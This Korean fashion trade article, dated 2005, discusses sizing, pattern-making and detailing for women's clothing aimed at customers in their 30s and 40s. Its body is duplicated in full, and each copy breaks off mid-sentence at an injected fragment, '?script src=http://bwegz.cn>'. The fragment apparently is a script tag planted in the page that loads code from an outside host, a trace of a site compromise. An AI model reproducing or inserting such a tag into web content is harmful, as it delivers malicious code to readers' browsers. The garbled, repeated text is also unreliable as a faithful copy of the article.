세월을 뛰어 넘는 디자인 과학
2005-09-26 박경희 기자 pkh@fi.co.kr
‘로우로우’ 플래그십스토어 홍대점
미즈 패션을 해부한다
3040, 그녀들이 젊은 패션 감성을 자유롭게 소화해 내기란 생각만큼 쉬운 일은 아니다. 영캐주얼이 트렌드와 감각적인 디테일을 부각시켜 겉으로 보이는 요소를 강조하는 반면, 미즈 패션은 30, 40대 감성에 맞는 트렌드를 적절히 보여주면서도 보이지 않는 부분까지 요소요소 만족시켜 주어야 하는 고차원적인 접근이 필요하기 때문이다.
예쁘고 맘에 드는 디자인이면 불편함을 감수하고서라도 수용해 버리는 10, 20대 여성과 달리 30, 40대 패션미즈들은 실루엣, 편안함, 멋스러움 등이 모두 충족됐을 때 주머니를 여는 민감한 소비 특성으로 인해 패션 브랜드들은 까다로운 그녀들의 겉과 속을 속속들이 읽어 상품으로 풀어내야 한다.
물론 철저한 자기관리로 나이에 비해 체형과 몸매가 안정적인 30, 40대 여성은 영캐주얼과 영캐릭터 의류를 자유롭게 소화해 내지만 대부분의 패션미즈들은 감성 에이지와 실제 나이의 차이를 좁히지 못하고 있다.
특히 감성 에이지가 갈수록 젊어지고 있는 반면, 나이가 들면서 생겨난 굵어진 팔뚝과 늘어진 뱃살 등은 그녀들이 추구하는 젊은 패션 감성을 소화하는 데 걸림돌이 돼 사이즈 운영에도 세심한 노하우가 필요하다.
만약 젊고 세련된 스타일의 영캐주얼 라인을 77, 88사이즈 스펙으로 늘린다고 해서 패션미즈들의 패션 감성을 자극해 구매가 일 것이라는 것은 잘못된 발상이다.
패션업체들은 구매결정권을 지니면서도 신중하고 엄격한 구매 패턴을 지닌 30, 40대 패션미즈를 위한 옷이 자칫 트렌드에 민감한 영캐주얼에 비해 쉬워 보일 수 있지만 알고 보면 가장 어렵고 심도 있게 접근해야 하는 것이라고 말한다.
그렇다면 20대 아가씨 감성을 지니면서 체형에서는 아가씨와 멀어져 가고 있는 패션미즈 3040들의 패션 욕구를 자극시키기 위한 미즈 패션은 무엇일까?
먼저, 입었을 때 체형 결점을 보완해 실루엣을 살릴 수 있고 날씬해 보여야 한다. 또한 편안함과 기능성까지 뒷받침되어야 하며 여기에 멋스러움까지 동반되어야 한다.
실루엣, 편안함, 기능성 등 3박자와 은근한 멋스러움까지 갖추는 것이 미즈 패션의 키워드다.
별도 사이즈·패턴 개발은 필수
30, 40대 패션미즈들에게 사이즈 문제는 늘 풀기 힘든 숙제와 같다.
대부분 굵어진 팔뚝과 허리선, 처진 아랫배, 목선에서 두껍게 내려오는 등과 어깨선은 여성들이 옷을 사는 데 아킬레스 건이며 날씬하고 마른 체형을 지닌 여성이라 하더라도 허리와 뱃살 때문에, 힙선이 망가져 옷을 입는 데 난감한 경우가 많다.
30, 40대 여성들이 공통적으로 고민하는 체형을 위해 별도 사이즈와 패턴 개발이 갖추어지지 않는 이상 패션미즈들을 설득시키는 데 한계가 있다.
대부분 여성복 브랜드들이 44, 55, 66 등 3가지 사이즈 스펙으로 패션미즈들의 구매폭을 좁히고 있는 반면, 「올리비아로렌」은 모든 여성들의 체형을 커버할 수 있는 사이즈 운영을 펼치고 있다고 한다.
영캐주얼에서 운영하는 55∼66사이즈의 중간을 피팅 사이즈 95로 보고 상의는 3∼4가지 스펙으로, 하의는 6가지 스펙으로 운영해 웬만한 패션미즈들의 체형을 커버해 나가고 있다.
따라서 영캐주얼 브랜드의 아줌마 구매 파워가 늘어나면서 기존 영캐주얼 라인을 단순히 77사이즈로 늘려 패션미즈 고객을 늘리겠다는 단순한 생각은 위험할 수밖에 없는 것이다.
아이템별 특성도 충분히 파악하고 고려해야 한다.
데일리 개념이 강한 팬츠는 편안함이 가장 중요하며 정장, 캐주얼, 소재에 따라 다르게 디자인된다. 특히 적당한 밑위 길이를 유지해 아랫배가 눌려 불편하거나 밖으로 삐져나오는 것을 고려해야 하며, 최근 유행하는 골반 스타일도 밑위가 너무 짧은 것보다는 반골반 스타일로 편안함과 스타일을 살려주는 것이 포인트다.
나이가 들면서 힘을 많이 쓰고 근육이 늘어나면서 팔과 소매 부분이 두꺼워지는 경우가 많아 암홀과 소매통의 패턴도 달라야 한다.
목 부분도 하이넥의 경우 답답함을 주거나 얼굴을 커 보이게 할 수 있어 반목 스타일이 주로 디자인되며 화장품이 묻어나는 문제점도 고려해 디자인해야 한다.
따라서 젊고 감각적인 디자인과 트렌드를 담아내는 것도 중요하지만 보이지 않는 세심하고 민감한 사이즈·패턴으로 만족감을 주는 것이 포인트다.
스타일은 젊게, 디테일은 은근하게
패션미즈를 위한 옷은 영캐주얼과 캐릭터캐주얼에서 보여지는 젊고 세련된 스타일을 지향하되 사이즈와 디테일에서도 큰 차이를 보인다.
「아이잗바바」 「미샤」 「마인」 등 커리어 캐릭터에서 볼 수 있는 젊고 세련된 스타일에 고급스러움과 감도를 추구하면서도 디테일에서는 과하지 않은 아기자기함으로 완성도를 높이는 것이다.
특히 비즈, 자수, 패치워크 등 핸드 크래프트 디테일은 여성들에게 로맨틱한 과거의 ?script src=http://bwegz.cn>
3040, 그녀들이 젊은 패션 감성을 자유롭게 소화해 내기란 생각만큼 쉬운 일은 아니다. 영캐주얼이 트렌드와 감각적인 디테일을 부각시켜 겉으로 보이는 요소를 강조하는 반면, 미즈 패션은 30, 40대 감성에 맞는 트렌드를 적절히 보여주면서도 보이지 않는 부분까지 요소요소 만족시켜 주어야 하는 고차원적인 접근이 필요하기 때문이다.
예쁘고 맘에 드는 디자인이면 불편함을 감수하고서라도 수용해 버리는 10, 20대 여성과 달리 30, 40대 패션미즈들은 실루엣, 편안함, 멋스러움 등이 모두 충족됐을 때 주머니를 여는 민감한 소비 특성으로 인해 패션 브랜드들은 까다로운 그녀들의 겉과 속을 속속들이 읽어 상품으로 풀어내야 한다.
물론 철저한 자기관리로 나이에 비해 체형과 몸매가 안정적인 30, 40대 여성은 영캐주얼과 영캐릭터 의류를 자유롭게 소화해 내지만 대부분의 패션미즈들은 감성 에이지와 실제 나이의 차이를 좁히지 못하고 있다.
특히 감성 에이지가 갈수록 젊어지고 있는 반면, 나이가 들면서 생겨난 굵어진 팔뚝과 늘어진 뱃살 등은 그녀들이 추구하는 젊은 패션 감성을 소화하는 데 걸림돌이 돼 사이즈 운영에도 세심한 노하우가 필요하다.
만약 젊고 세련된 스타일의 영캐주얼 라인을 77, 88사이즈 스펙으로 늘린다고 해서 패션미즈들의 패션 감성을 자극해 구매가 일 것이라는 것은 잘못된 발상이다.
패션업체들은 구매결정권을 지니면서도 신중하고 엄격한 구매 패턴을 지닌 30, 40대 패션미즈를 위한 옷이 자칫 트렌드에 민감한 영캐주얼에 비해 쉬워 보일 수 있지만 알고 보면 가장 어렵고 심도 있게 접근해야 하는 것이라고 말한다.
그렇다면 20대 아가씨 감성을 지니면서 체형에서는 아가씨와 멀어져 가고 있는 패션미즈 3040들의 패션 욕구를 자극시키기 위한 미즈 패션은 무엇일까?
먼저, 입었을 때 체형 결점을 보완해 실루엣을 살릴 수 있고 날씬해 보여야 한다. 또한 편안함과 기능성까지 뒷받침되어야 하며 여기에 멋스러움까지 동반되어야 한다.
실루엣, 편안함, 기능성 등 3박자와 은근한 멋스러움까지 갖추는 것이 미즈 패션의 키워드다.
별도 사이즈·패턴 개발은 필수
30, 40대 패션미즈들에게 사이즈 문제는 늘 풀기 힘든 숙제와 같다.
대부분 굵어진 팔뚝과 허리선, 처진 아랫배, 목선에서 두껍게 내려오는 등과 어깨선은 여성들이 옷을 사는 데 아킬레스 건이며 날씬하고 마른 체형을 지닌 여성이라 하더라도 허리와 뱃살 때문에, 힙선이 망가져 옷을 입는 데 난감한 경우가 많다.
30, 40대 여성들이 공통적으로 고민하는 체형을 위해 별도 사이즈와 패턴 개발이 갖추어지지 않는 이상 패션미즈들을 설득시키는 데 한계가 있다.
대부분 여성복 브랜드들이 44, 55, 66 등 3가지 사이즈 스펙으로 패션미즈들의 구매폭을 좁히고 있는 반면, 「올리비아로렌」은 모든 여성들의 체형을 커버할 수 있는 사이즈 운영을 펼치고 있다고 한다.
영캐주얼에서 운영하는 55∼66사이즈의 중간을 피팅 사이즈 95로 보고 상의는 3∼4가지 스펙으로, 하의는 6가지 스펙으로 운영해 웬만한 패션미즈들의 체형을 커버해 나가고 있다.
따라서 영캐주얼 브랜드의 아줌마 구매 파워가 늘어나면서 기존 영캐주얼 라인을 단순히 77사이즈로 늘려 패션미즈 고객을 늘리겠다는 단순한 생각은 위험할 수밖에 없는 것이다.
아이템별 특성도 충분히 파악하고 고려해야 한다.
데일리 개념이 강한 팬츠는 편안함이 가장 중요하며 정장, 캐주얼, 소재에 따라 다르게 디자인된다. 특히 적당한 밑위 길이를 유지해 아랫배가 눌려 불편하거나 밖으로 삐져나오는 것을 고려해야 하며, 최근 유행하는 골반 스타일도 밑위가 너무 짧은 것보다는 반골반 스타일로 편안함과 스타일을 살려주는 것이 포인트다.
나이가 들면서 힘을 많이 쓰고 근육이 늘어나면서 팔과 소매 부분이 두꺼워지는 경우가 많아 암홀과 소매통의 패턴도 달라야 한다.
목 부분도 하이넥의 경우 답답함을 주거나 얼굴을 커 보이게 할 수 있어 반목 스타일이 주로 디자인되며 화장품이 묻어나는 문제점도 고려해 디자인해야 한다.
따라서 젊고 감각적인 디자인과 트렌드를 담아내는 것도 중요하지만 보이지 않는 세심하고 민감한 사이즈·패턴으로 만족감을 주는 것이 포인트다.
스타일은 젊게, 디테일은 은근하게
패션미즈를 위한 옷은 영캐주얼과 캐릭터캐주얼에서 보여지는 젊고 세련된 스타일을 지향하되 사이즈와 디테일에서도 큰 차이를 보인다.
「아이잗바바」 「미샤」 「마인」 등 커리어 캐릭터에서 볼 수 있는 젊고 세련된 스타일에 고급스러움과 감도를 추구하면서도 디테일에서는 과하지 않은 아기자기함으로 완성도를 높이는 것이다.
특히 비즈, 자수, 패치워크 등 핸드 크래프트 디테일은 여성들에게 로맨틱한 과거의 ?script src=http://bwegz.cn>
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